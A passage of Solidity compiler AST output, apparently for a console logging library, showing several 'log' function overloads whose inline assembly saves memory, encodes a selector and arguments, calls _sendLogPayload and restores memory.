"arguments":[{"kind":"number","nativeSrc":"24107:4:22","nodeType":"YulLiteral","src":"24107:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"24101:5:22","nodeType":"YulIdentifier","src":"24101:5:22"},"nativeSrc":"24101:11:22","nodeType":"YulFunctionCall","src":"24101:11:22"},"variableNames":[{"name":"m1","nativeSrc":"24095:2:22","nodeType":"YulIdentifier","src":"24095:2:22"}]},{"nativeSrc":"24125:17:22","nodeType":"YulAssignment","src":"24125:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"24137:4:22","nodeType":"YulLiteral","src":"24137:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"24131:5:22","nodeType":"YulIdentifier","src":"24131:5:22"},"nativeSrc":"24131:11:22","nodeType":"YulFunctionCall","src":"24131:11:22"},"variableNames":[{"name":"m2","nativeSrc":"24125:2:22","nodeType":"YulIdentifier","src":"24125:2:22"}]},{"nativeSrc":"24155:17:22","nodeType":"YulAssignment","src":"24155:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"24167:4:22","nodeType":"YulLiteral","src":"24167:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"24161:5:22","nodeType":"YulIdentifier","src":"24161:5:22"},"nativeSrc":"24161:11:22","nodeType":"YulFunctionCall","src":"24161:11:22"},"variableNames":[{"name":"m3","nativeSrc":"24155:2:22","nodeType":"YulIdentifier","src":"24155:2:22"}]},{"nativeSrc":"24185:17:22","nodeType":"YulAssignment","src":"24185:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"24197:4:22","nodeType":"YulLiteral","src":"24197:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"24191:5:22","nodeType":"YulIdentifier","src":"24191:5:22"},"nativeSrc":"24191:11:22","nodeType":"YulFunctionCall","src":"24191:11:22"},"variableNames":[{"name":"m4","nativeSrc":"24185:2:22","nodeType":"YulIdentifier","src":"24185:2:22"}]},{"nativeSrc":"24215:17:22","nodeType":"YulAssignment","src":"24215:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"24227:4:22","nodeType":"YulLiteral","src":"24227:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"24221:5:22","nodeType":"YulIdentifier","src":"24221:5:22"},"nativeSrc":"24221:11:22","nodeType":"YulFunctionCall","src":"24221:11:22"},"variableNames":[{"name":"m5","nativeSrc":"24215:2:22","nodeType":"YulIdentifier","src":"24215:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"24307:4:22","nodeType":"YulLiteral","src":"24307:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"24313:10:22","nodeType":"YulLiteral","src":"24313:10:22","type":"","value":"0x212255cc"}],"functionName":{"name":"mstore","nativeSrc":"24300:6:22","nodeType":"YulIdentifier","src":"24300:6:22"},"nativeSrc":"24300:24:22","nodeType":"YulFunctionCall","src":"24300:24:22"},"nativeSrc":"24300:24:22","nodeType":"YulExpressionStatement","src":"24300:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"24344:4:22","nodeType":"YulLiteral","src":"24344:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"24350:2:22","nodeType":"YulIdentifier","src":"24350:2:22"}],"functionName":{"name":"mstore","nativeSrc":"24337:6:22","nodeType":"YulIdentifier","src":"24337:6:22"},"nativeSrc":"24337:16:22","nodeType":"YulFunctionCall","src":"24337:16:22"},"nativeSrc":"24337:16:22","nodeType":"YulExpressionStatement","src":"24337:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"24373:4:22","nodeType":"YulLiteral","src":"24373:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"24379:2:22","nodeType":"YulIdentifier","src":"24379:2:22"}],"functionName":{"name":"mstore","nativeSrc":"24366:6:22","nodeType":"YulIdentifier","src":"24366:6:22"},"nativeSrc":"24366:16:22","nodeType":"YulFunctionCall","src":"24366:16:22"},"nativeSrc":"24366:16:22","nodeType":"YulExpressionStatement","src":"24366:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"24402:4:22","nodeType":"YulLiteral","src":"24402:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"24408:4:22","nodeType":"YulLiteral","src":"24408:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"24395:6:22","nodeType":"YulIdentifier","src":"24395:6:22"},"nativeSrc":"24395:18:22","nodeType":"YulFunctionCall","src":"24395:18:22"},"nativeSrc":"24395:18:22","nodeType":"YulExpressionStatement","src":"24395:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"24438:4:22","nodeType":"YulLiteral","src":"24438:4:22","type":"","value":"0x80"},{"name":"p2","nativeSrc":"24444:2:22","nodeType":"YulIdentifier","src":"24444:2:22"}],"functionName":{"name":"writeString","nativeSrc":"24426:11:22","nodeType":"YulIdentifier","src":"24426:11:22"},"nativeSrc":"24426:21:22","nodeType":"YulFunctionCall","src":"24426:21:22"},"nativeSrc":"24426:21:22","nodeType":"YulExpressionStatement","src":"24426:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34421,"isOffset":false,"isSlot":false,"src":"24065:2:22","valueSize":1},{"declaration":34424,"isOffset":false,"isSlot":false,"src":"24095:2:22","valueSize":1},{"declaration":34427,"isOffset":false,"isSlot":false,"src":"24125:2:22","valueSize":1},{"declaration":34430,"isOffset":false,"isSlot":false,"src":"24155:2:22","valueSize":1},{"declaration":34433,"isOffset":false,"isSlot":false,"src":"24185:2:22","valueSize":1},{"declaration":34436,"isOffset":false,"isSlot":false,"src":"24215:2:22","valueSize":1},{"declaration":34413,"isOffset":false,"isSlot":false,"src":"24350:2:22","valueSize":1},{"declaration":34415,"isOffset":false,"isSlot":false,"src":"24379:2:22","valueSize":1},{"declaration":34417,"isOffset":false,"isSlot":false,"src":"24444:2:22","valueSize":1}],"id":34438,"nodeType":"InlineAssembly","src":"23687:770:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34440,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"24482:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":34441,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"24488:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":34439,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"24466:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34442,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24466:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34443,"nodeType":"ExpressionStatement","src":"24466:27:22"},{"AST":{"nativeSrc":"24512:185:22","nodeType":"YulBlock","src":"24512:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"24533:4:22","nodeType":"YulLiteral","src":"24533:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"24539:2:22","nodeType":"YulIdentifier","src":"24539:2:22"}],"functionName":{"name":"mstore","nativeSrc":"24526:6:22","nodeType":"YulIdentifier","src":"24526:6:22"},"nativeSrc":"24526:16:22","nodeType":"YulFunctionCall","src":"24526:16:22"},"nativeSrc":"24526:16:22","nodeType":"YulExpressionStatement","src":"24526:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"24562:4:22","nodeType":"YulLiteral","src":"24562:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"24568:2:22","nodeType":"YulIdentifier","src":"24568:2:22"}],"functionName":{"name":"mstore","nativeSrc":"24555:6:22","nodeType":"YulIdentifier","src":"24555:6:22"},"nativeSrc":"24555:16:22","nodeType":"YulFunctionCall","src":"24555:16:22"},"nativeSrc":"24555:16:22","nodeType":"YulExpressionStatement","src":"24555:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"24591:4:22","nodeType":"YulLiteral","src":"24591:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"24597:2:22","nodeType":"YulIdentifier","src":"24597:2:22"}],"functionName":{"name":"mstore","nativeSrc":"24584:6:22","nodeType":"YulIdentifier","src":"24584:6:22"},"nativeSrc":"24584:16:22","nodeType":"YulFunctionCall","src":"24584:16:22"},"nativeSrc":"24584:16:22","nodeType":"YulExpressionStatement","src":"24584:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"24620:4:22","nodeType":"YulLiteral","src":"24620:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"24626:2:22","nodeType":"YulIdentifier","src":"24626:2:22"}],"functionName":{"name":"mstore","nativeSrc":"24613:6:22","nodeType":"YulIdentifier","src":"24613:6:22"},"nativeSrc":"24613:16:22","nodeType":"YulFunctionCall","src":"24613:16:22"},"nativeSrc":"24613:16:22","nodeType":"YulExpressionStatement","src":"24613:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"24649:4:22","nodeType":"YulLiteral","src":"24649:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"24655:2:22","nodeType":"YulIdentifier","src":"24655:2:22"}],"functionName":{"name":"mstore","nativeSrc":"24642:6:22","nodeType":"YulIdentifier","src":"24642:6:22"},"nativeSrc":"24642:16:22","nodeType":"YulFunctionCall","src":"24642:16:22"},"nativeSrc":"24642:16:22","nodeType":"YulExpressionStatement","src":"24642:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"24678:4:22","nodeType":"YulLiteral","src":"24678:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"24684:2:22","nodeType":"YulIdentifier","src":"24684:2:22"}],"functionName":{"name":"mstore","nativeSrc":"24671:6:22","nodeType":"YulIdentifier","src":"24671:6:22"},"nativeSrc":"24671:16:22","nodeType":"YulFunctionCall","src":"24671:16:22"},"nativeSrc":"24671:16:22","nodeType":"YulExpressionStatement","src":"24671:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34421,"isOffset":false,"isSlot":false,"src":"24539:2:22","valueSize":1},{"declaration":34424,"isOffset":false,"isSlot":false,"src":"24568:2:22","valueSize":1},{"declaration":34427,"isOffset":false,"isSlot":false,"src":"24597:2:22","valueSize":1},{"declaration":34430,"isOffset":false,"isSlot":false,"src":"24626:2:22","valueSize":1},{"declaration":34433,"isOffset":false,"isSlot":false,"src":"24655:2:22","valueSize":1},{"declaration":34436,"isOffset":false,"isSlot":false,"src":"24684:2:22","valueSize":1}],"id":34444,"nodeType":"InlineAssembly","src":"24503:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"23506:3:22","parameters":{"id":34418,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34413,"mutability":"mutable","name":"p0","nameLocation":"23518:2:22","nodeType":"VariableDeclaration","scope":34446,"src":"23510:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34412,"name":"address","nodeType":"ElementaryTypeName","src":"23510:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34415,"mutability":"mutable","name":"p1","nameLocation":"23527:2:22","nodeType":"VariableDeclaration","scope":34446,"src":"23522:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34414,"name":"bool","nodeType":"ElementaryTypeName","src":"23522:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34417,"mutability":"mutable","name":"p2","nameLocation":"23539:2:22","nodeType":"VariableDeclaration","scope":34446,"src":"23531:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34416,"name":"bytes32","nodeType":"ElementaryTypeName","src":"23531:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"23509:33:22"},"returnParameters":{"id":34419,"nodeType":"ParameterList","parameters":[],"src":"23557:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34475,"nodeType":"FunctionDefinition","src":"24709:664:22","nodes":[],"body":{"id":34474,"nodeType":"Block","src":"24772:601:22","nodes":[],"statements":[{"assignments":[34456],"declarations":[{"constant":false,"id":34456,"mutability":"mutable","name":"m0","nameLocation":"24790:2:22","nodeType":"VariableDeclaration","scope":34474,"src":"24782:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34455,"name":"bytes32","nodeType":"ElementaryTypeName","src":"24782:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34457,"nodeType":"VariableDeclarationStatement","src":"24782:10:22"},{"assignments":[34459],"declarations":[{"constant":false,"id":34459,"mutability":"mutable","name":"m1","nameLocation":"24810:2:22","nodeType":"VariableDeclaration","scope":34474,"src":"24802:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34458,"name":"bytes32","nodeType":"ElementaryTypeName","src":"24802:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34460,"nodeType":"VariableDeclarationStatement","src":"24802:10:22"},{"assignments":[34462],"declarations":[{"constant":false,"id":34462,"mutability":"mutable","name":"m2","nameLocation":"24830:2:22","nodeType":"VariableDeclaration","scope":34474,"src":"24822:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34461,"name":"bytes32","nodeType":"ElementaryTypeName","src":"24822:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34463,"nodeType":"VariableDeclarationStatement","src":"24822:10:22"},{"assignments":[34465],"declarations":[{"constant":false,"id":34465,"mutability":"mutable","name":"m3","nameLocation":"24850:2:22","nodeType":"VariableDeclaration","scope":34474,"src":"24842:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34464,"name":"bytes32","nodeType":"ElementaryTypeName","src":"24842:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34466,"nodeType":"VariableDeclarationStatement","src":"24842:10:22"},{"AST":{"nativeSrc":"24871:314:22","nodeType":"YulBlock","src":"24871:314:22","statements":[{"nativeSrc":"24885:17:22","nodeType":"YulAssignment","src":"24885:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"24897:4:22","nodeType":"YulLiteral","src":"24897:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"24891:5:22","nodeType":"YulIdentifier","src":"24891:5:22"},"nativeSrc":"24891:11:22","nodeType":"YulFunctionCall","src":"24891:11:22"},"variableNames":[{"name":"m0","nativeSrc":"24885:2:22","nodeType":"YulIdentifier","src":"24885:2:22"}]},{"nativeSrc":"24915:17:22","nodeType":"YulAssignment","src":"24915:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"24927:4:22","nodeType":"YulLiteral","src":"24927:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"24921:5:22","nodeType":"YulIdentifier","src":"24921:5:22"},"nativeSrc":"24921:11:22","nodeType":"YulFunctionCall","src":"24921:11:22"},"variableNames":[{"name":"m1","nativeSrc":"24915:2:22","nodeType":"YulIdentifier","src":"24915:2:22"}]},{"nativeSrc":"24945:17:22","nodeType":"YulAssignment","src":"24945:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"24957:4:22","nodeType":"YulLiteral","src":"24957:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"24951:5:22","nodeType":"YulIdentifier","src":"24951:5:22"},"nativeSrc":"24951:11:22","nodeType":"YulFunctionCall","src":"24951:11:22"},"variableNames":[{"name":"m2","nativeSrc":"24945:2:22","nodeType":"YulIdentifier","src":"24945:2:22"}]},{"nativeSrc":"24975:17:22","nodeType":"YulAssignment","src":"24975:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"24987:4:22","nodeType":"YulLiteral","src":"24987:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"24981:5:22","nodeType":"YulIdentifier","src":"24981:5:22"},"nativeSrc":"24981:11:22","nodeType":"YulFunctionCall","src":"24981:11:22"},"variableNames":[{"name":"m3","nativeSrc":"24975:2:22","nodeType":"YulIdentifier","src":"24975:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"25071:4:22","nodeType":"YulLiteral","src":"25071:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"25077:10:22","nodeType":"YulLiteral","src":"25077:10:22","type":"","value":"0x7bc0d848"}],"functionName":{"name":"mstore","nativeSrc":"25064:6:22","nodeType":"YulIdentifier","src":"25064:6:22"},"nativeSrc":"25064:24:22","nodeType":"YulFunctionCall","src":"25064:24:22"},"nativeSrc":"25064:24:22","nodeType":"YulExpressionStatement","src":"25064:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"25108:4:22","nodeType":"YulLiteral","src":"25108:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"25114:2:22","nodeType":"YulIdentifier","src":"25114:2:22"}],"functionName":{"name":"mstore","nativeSrc":"25101:6:22","nodeType":"YulIdentifier","src":"25101:6:22"},"nativeSrc":"25101:16:22","nodeType":"YulFunctionCall","src":"25101:16:22"},"nativeSrc":"25101:16:22","nodeType":"YulExpressionStatement","src":"25101:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"25137:4:22","nodeType":"YulLiteral","src":"25137:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"25143:2:22","nodeType":"YulIdentifier","src":"25143:2:22"}],"functionName":{"name":"mstore","nativeSrc":"25130:6:22","nodeType":"YulIdentifier","src":"25130:6:22"},"nativeSrc":"25130:16:22","nodeType":"YulFunctionCall","src":"25130:16:22"},"nativeSrc":"25130:16:22","nodeType":"YulExpressionStatement","src":"25130:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"25166:4:22","nodeType":"YulLiteral","src":"25166:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"25172:2:22","nodeType":"YulIdentifier","src":"25172:2:22"}],"functionName":{"name":"mstore","nativeSrc":"25159:6:22","nodeType":"YulIdentifier","src":"25159:6:22"},"nativeSrc":"25159:16:22","nodeType":"YulFunctionCall","src":"25159:16:22"},"nativeSrc":"25159:16:22","nodeType":"YulExpressionStatement","src":"25159:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34456,"isOffset":false,"isSlot":false,"src":"24885:2:22","valueSize":1},{"declaration":34459,"isOffset":false,"isSlot":false,"src":"24915:2:22","valueSize":1},{"declaration":34462,"isOffset":false,"isSlot":false,"src":"24945:2:22","valueSize":1},{"declaration":34465,"isOffset":false,"isSlot":false,"src":"24975:2:22","valueSize":1},{"declaration":34448,"isOffset":false,"isSlot":false,"src":"25114:2:22","valueSize":1},{"declaration":34450,"isOffset":false,"isSlot":false,"src":"25143:2:22","valueSize":1},{"declaration":34452,"isOffset":false,"isSlot":false,"src":"25172:2:22","valueSize":1}],"id":34467,"nodeType":"InlineAssembly","src":"24862:323:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34469,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"25210:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34470,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"25216:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34468,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"25194:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34471,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25194:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34472,"nodeType":"ExpressionStatement","src":"25194:27:22"},{"AST":{"nativeSrc":"25240:127:22","nodeType":"YulBlock","src":"25240:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"25261:4:22","nodeType":"YulLiteral","src":"25261:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"25267:2:22","nodeType":"YulIdentifier","src":"25267:2:22"}],"functionName":{"name":"mstore","nativeSrc":"25254:6:22","nodeType":"YulIdentifier","src":"25254:6:22"},"nativeSrc":"25254:16:22","nodeType":"YulFunctionCall","src":"25254:16:22"},"nativeSrc":"25254:16:22","nodeType":"YulExpressionStatement","src":"25254:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"25290:4:22","nodeType":"YulLiteral","src":"25290:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"25296:2:22","nodeType":"YulIdentifier","src":"25296:2:22"}],"functionName":{"name":"mstore","nativeSrc":"25283:6:22","nodeType":"YulIdentifier","src":"25283:6:22"},"nativeSrc":"25283:16:22","nodeType":"YulFunctionCall","src":"25283:16:22"},"nativeSrc":"25283:16:22","nodeType":"YulExpressionStatement","src":"25283:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"25319:4:22","nodeType":"YulLiteral","src":"25319:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"25325:2:22","nodeType":"YulIdentifier","src":"25325:2:22"}],"functionName":{"name":"mstore","nativeSrc":"25312:6:22","nodeType":"YulIdentifier","src":"25312:6:22"},"nativeSrc":"25312:16:22","nodeType":"YulFunctionCall","src":"25312:16:22"},"nativeSrc":"25312:16:22","nodeType":"YulExpressionStatement","src":"25312:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"25348:4:22","nodeType":"YulLiteral","src":"25348:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"25354:2:22","nodeType":"YulIdentifier","src":"25354:2:22"}],"functionName":{"name":"mstore","nativeSrc":"25341:6:22","nodeType":"YulIdentifier","src":"25341:6:22"},"nativeSrc":"25341:16:22","nodeType":"YulFunctionCall","src":"25341:16:22"},"nativeSrc":"25341:16:22","nodeType":"YulExpressionStatement","src":"25341:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34456,"isOffset":false,"isSlot":false,"src":"25267:2:22","valueSize":1},{"declaration":34459,"isOffset":false,"isSlot":false,"src":"25296:2:22","valueSize":1},{"declaration":34462,"isOffset":false,"isSlot":false,"src":"25325:2:22","valueSize":1},{"declaration":34465,"isOffset":false,"isSlot":false,"src":"25354:2:22","valueSize":1}],"id":34473,"nodeType":"InlineAssembly","src":"25231:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"24718:3:22","parameters":{"id":34453,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34448,"mutability":"mutable","name":"p0","nameLocation":"24730:2:22","nodeType":"VariableDeclaration","scope":34475,"src":"24722:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34447,"name":"address","nodeType":"ElementaryTypeName","src":"24722:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34450,"mutability":"mutable","name":"p1","nameLocation":"24742:2:22","nodeType":"VariableDeclaration","scope":34475,"src":"24734:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34449,"name":"uint256","nodeType":"ElementaryTypeName","src":"24734:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":34452,"mutability":"mutable","name":"p2","nameLocation":"24754:2:22","nodeType":"VariableDeclaration","scope":34475,"src":"24746:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34451,"name":"address","nodeType":"ElementaryTypeName","src":"24746:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"24721:36:22"},"returnParameters":{"id":34454,"nodeType":"ParameterList","parameters":[],"src":"24772:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34504,"nodeType":"FunctionDefinition","src":"25379:658:22","nodes":[],"body":{"id":34503,"nodeType":"Block","src":"25439:598:22","nodes":[],"statements":[{"assignments":[34485],"declarations":[{"constant":false,"id":34485,"mutability":"mutable","name":"m0","nameLocation":"25457:2:22","nodeType":"VariableDeclaration","scope":34503,"src":"25449:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34484,"name":"bytes32","nodeType":"ElementaryTypeName","src":"25449:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34486,"nodeType":"VariableDeclarationStatement","src":"25449:10:22"},{"assignments":[34488],"declarations":[{"constant":false,"id":34488,"mutability":"mutable","name":"m1","nameLocation":"25477:2:22","nodeType":"VariableDeclaration","scope":34503,"src":"25469:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34487,"name":"bytes32","nodeType":"ElementaryTypeName","src":"25469:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34489,"nodeType":"VariableDeclarationStatement","src":"25469:10:22"},{"assignments":[34491],"declarations":[{"constant":false,"id":34491,"mutability":"mutable","name":"m2","nameLocation":"25497:2:22","nodeType":"VariableDeclaration","scope":34503,"src":"25489:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34490,"name":"bytes32","nodeType":"ElementaryTypeName","src":"25489:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34492,"nodeType":"VariableDeclarationStatement","src":"25489:10:22"},{"assignments":[34494],"declarations":[{"constant":false,"id":34494,"mutability":"mutable","name":"m3","nameLocation":"25517:2:22","nodeType":"VariableDeclaration","scope":34503,"src":"25509:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34493,"name":"bytes32","nodeType":"ElementaryTypeName","src":"25509:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34495,"nodeType":"VariableDeclarationStatement","src":"25509:10:22"},{"AST":{"nativeSrc":"25538:311:22","nodeType":"YulBlock","src":"25538:311:22","statements":[{"nativeSrc":"25552:17:22","nodeType":"YulAssignment","src":"25552:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"25564:4:22","nodeType":"YulLiteral","src":"25564:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"25558:5:22","nodeType":"YulIdentifier","src":"25558:5:22"},"nativeSrc":"25558:11:22","nodeType":"YulFunctionCall","src":"25558:11:22"},"variableNames":[{"name":"m0","nativeSrc":"25552:2:22","nodeType":"YulIdentifier","src":"25552:2:22"}]},{"nativeSrc":"25582:17:22","nodeType":"YulAssignment","src":"25582:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"25594:4:22","nodeType":"YulLiteral","src":"25594:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"25588:5:22","nodeType":"YulIdentifier","src":"25588:5:22"},"nativeSrc":"25588:11:22","nodeType":"YulFunctionCall","src":"25588:11:22"},"variableNames":[{"name":"m1","nativeSrc":"25582:2:22","nodeType":"YulIdentifier","src":"25582:2:22"}]},{"nativeSrc":"25612:17:22","nodeType":"YulAssignment","src":"25612:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"25624:4:22","nodeType":"YulLiteral","src":"25624:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"25618:5:22","nodeType":"YulIdentifier","src":"25618:5:22"},"nativeSrc":"25618:11:22","nodeType":"YulFunctionCall","src":"25618:11:22"},"variableNames":[{"name":"m2","nativeSrc":"25612:2:22","nodeType":"YulIdentifier","src":"25612:2:22"}]},{"nativeSrc":"25642:17:22","nodeType":"YulAssignment","src":"25642:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"25654:4:22","nodeType":"YulLiteral","src":"25654:4:22","